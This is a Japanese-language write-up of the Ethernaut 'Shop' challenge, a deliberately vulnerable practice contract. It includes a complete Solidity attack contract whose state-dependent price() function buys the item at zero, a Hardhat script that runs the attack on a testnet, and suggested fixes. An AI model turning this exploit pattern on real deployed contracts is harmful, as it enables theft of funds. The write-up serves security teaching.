Appearance
Ethernaut CTF レベル「Shop」の詳細解説:状態依存型ビュー関数の悪用とスマートコントラクトのセキュリティ
はじめに
Ethernautは、OpenZeppelinが提供するスマートコントラクトのセキュリティ学習プラットフォームです。今回取り上げる「Shop」レベルは、Solidityのビュー関数の特性と状態依存性を理解する上で非常に教育的な問題です。このレベルでは、一見単純に見えるショッピングコントラクトに潜む論理的な脆弱性を突き、本来100の価格で販売されている商品を0で購入する方法を探ります。
問題の背景と概要
コントラクトの仕様分析
提供されたShop.solコントラクトを詳細に分析してみましょう:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IBuyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
IBuyer _buyer = IBuyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
このコントラクトの動作を理解するために、以下のポイントに注目します:
- 初期状態: 商品の価格は100に設定され、販売状態(isSold)はfalse
- 購入プロセス:
buy()関数が呼び出されると、呼び出し元(msg.sender)がIBuyerインターフェースを実装していることを前提に動作 - 条件チェック: 購入者の
price()関数が現在の価格以上を返し、商品が未販売の場合のみ購入が成立 - 状態更新: 購入成立後、isSoldをtrueに設定し、価格を購入者の
price()関数の戻り値で更新
問題の核心:ビュー関数の状態依存性
Solidityにおけるview関数は、ブロックチェーンの状態を変更しないことを約束する関数修飾子です。しかし、重要な点は「状態を変更しない」ことであって、「状態を読み取らない」ことではありません。実際、view関数はコントラクトの状態変数を読み取ることが可能です。
Shopコントラクトの脆弱性は、_buyer.price()がビュー関数として宣言されているにもかかわらず、Shopコントラクトの状態(isSold)に依存した値を返すことができる点にあります。
技術的詳細と攻撃ベクトル
攻撃のメカニズム
攻撃の核心は、購入者のprice()関数がShopコントラクトの状態をチェックし、それに基づいて異なる値を返すことです。具体的には:
- 最初の
_buyer.price()呼び出し(条件チェック時)では、商品が未販売なので100を返す - 条件を通過した後、
isSold = trueが設定される - 2回目の
_buyer.price()呼び出し(価格設定時)では、商品が販売済みなので0を返す
この動作を実現するためには、攻撃コントラクトがShopの状態を読み取る必要があります。
攻撃コントラクトの実装
以下は、この脆弱性を悪用する完全な攻撃コントラクトです:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IShop {
function price() external view returns (uint256);
function isSold() external view returns (bool);
function buy() external;
}
contract Hack {
IShop private immutable target;
constructor(address _target) {
target = IShop(_target);
}
function doBuy() external {
target.buy();
}
function price() external view returns (uint256) {
// Shopの状態に基づいて異なる値を返す
if (target.isSold()) {
return 0; // 商品が販売済みなら0を返す
} else {
return 100; // 商品が未販売なら100を返す
}
}
}
攻撃フローの詳細分析
- 初期化: HackコントラクトがShopコントラクトのアドレスを受け取り、target変数に保存
- 購入開始:
doBuy()関数が呼び出され、Shopのbuy()関数を実行 - 最初のprice()呼び出し: Shopの
buy()関数内で_buyer.price()が初めて呼び出される- この時点で
target.isSold()はfalseを返す - したがって、Hackの
price()関数は100を返す - 条件
_buyer.price() >= price(100 >= 100)がtrueとなる
- この時点で
- 状態更新:
isSold = trueが実行される - 2回目のprice()呼び出し:
price = _buyer.price()が実行される- この時点で
target.isSold()はtrueを返す - したがって、Hackの
price()関数は0を返す - 結果として、Shopのprice変数が0に設定される
- この時点で
セキュリティ対策とベストプラクティス
脆弱性の根本原因
この脆弱性の根本原因は、外部コントラクトのビュー関数の戻り値が、呼び出し元コントラクトの状態に依存して変化し得ることを考慮していない点にあります。
対策方法
- 状態の不変性を保証する設計:
solidity
contract SecureShop {
uint256 public price = 100;
bool public isSold;
function buy() public {
IBuyer _buyer = IBuyer(msg.sender);
// 価格を一度だけ取得し、変数に保存
uint256 buyerPrice = _buyer.price();
if (buyerPrice >= price && !isSold) {
isSold = true;
price = buyerPrice; // 保存した値を使用
}
}
}
- チェック・エフェクト・インタラクションパターンの厳格な適用:
solidity
function secureBuy() public {
require(!isSold, "Already sold");
IBuyer _buyer = IBuyer(msg.sender);
uint256 offeredPrice = _buyer.price();
require(offeredPrice >= price, "Insufficient price");
// 状態変更前にすべての外部呼び出しを完了
isSold = true;
price = offeredPrice;
}
- 外部呼び出しの分離:
solidity
function isolatedBuy(uint256 buyerPrice) public {
require(buyerPrice >= price && !isSold, "Invalid purchase");
isSold = true;
price = buyerPrice;
}
一般的なセキュリティ原則
- 外部コントラクトへの依存を最小化する
- 状態変更前の外部呼び出しを避ける
- 不変条件を明確に定義し、検証する
- 単一責任の原則に従ったコントラクト設計
テスト実装の詳細
提供されたテストコードは、攻撃が実際に機能することを確認するためのものです:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Shop, Hack } from "../typechain-types";
describe("Shop", function () {
describe("Shop testnet online sepolia", function () {
it("testnet online sepolia Shop", async function () {
const SHOP_ADDRESS = "0x...";
const ShopFactory = await ethers.getContractFactory("Shop");
const SHOP_ABI = ShopFactory.interface.format();
const challenger = await ethers.getNamedSigner("deployer");
const shopContract = new ethers.Contract(SHOP_ADDRESS, SHOP_ABI, challenger);
// 初期状態の確認
const price_before = await shopContract.price();
expect(price_before).to.be.equals(100);
const isSold_before = await shopContract.isSold();
expect(isSold_before).to.be.equals(false);
// 攻撃コントラクトのデプロイ
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(SHOP_ADDRESS)) as Hack;
await hack.waitForDeployment();
// 攻撃の実行
const tx = await hack.doBuy();
await tx.wait();
// 攻撃後の状態確認
const price_after = await shopContract.price();
expect(price_after).to.be.equals(0); // 価格が0になっていることを確認
const isSold_after = await shopContract.isSold();
expect(isSold_after).to.be.equals(true); // 販売済みになっていることを確認
});
});
});
教育的意義と応用
このCTF問題から学べる重要な教訓は以下の通りです:
- ビュー関数の誤解: ビュー関数が状態を変更しないからといって、その戻り値が一定であるとは限らない
- 状態の可観測性: コントラクトの状態が外部から観測可能である場合、その状態に依存するロジックは注意深く設計する必要がある
- トランザクションの原子性: Ethereumのトランザクションは原子的に実行されるため、トランザクション内での状態変化は外部から観測可能
結論
EthernautのShopレベルは、スマートコントラクト開発における重要なセキュリティ原則を実践的に学ぶ機会を提供しています。外部コントラクトとのインタラクション、特に状態依存型の関数呼び出しには細心の注意が必要です。開発者は常に、コントラクトの状態が外部からどのように観測・影響され得るかを考慮し、堅牢なコントラクト設計を心がける必要があります。
このような脆弱性は、単純なロジックエラーに見えても、実際の金融アプリケーションでは重大な損失につながる可能性があります。スマートコントラクトのセキュリティは、単なるコーディング以上のものであり、システム全体の設計哲学と深く結びついていることを理解することが重要です。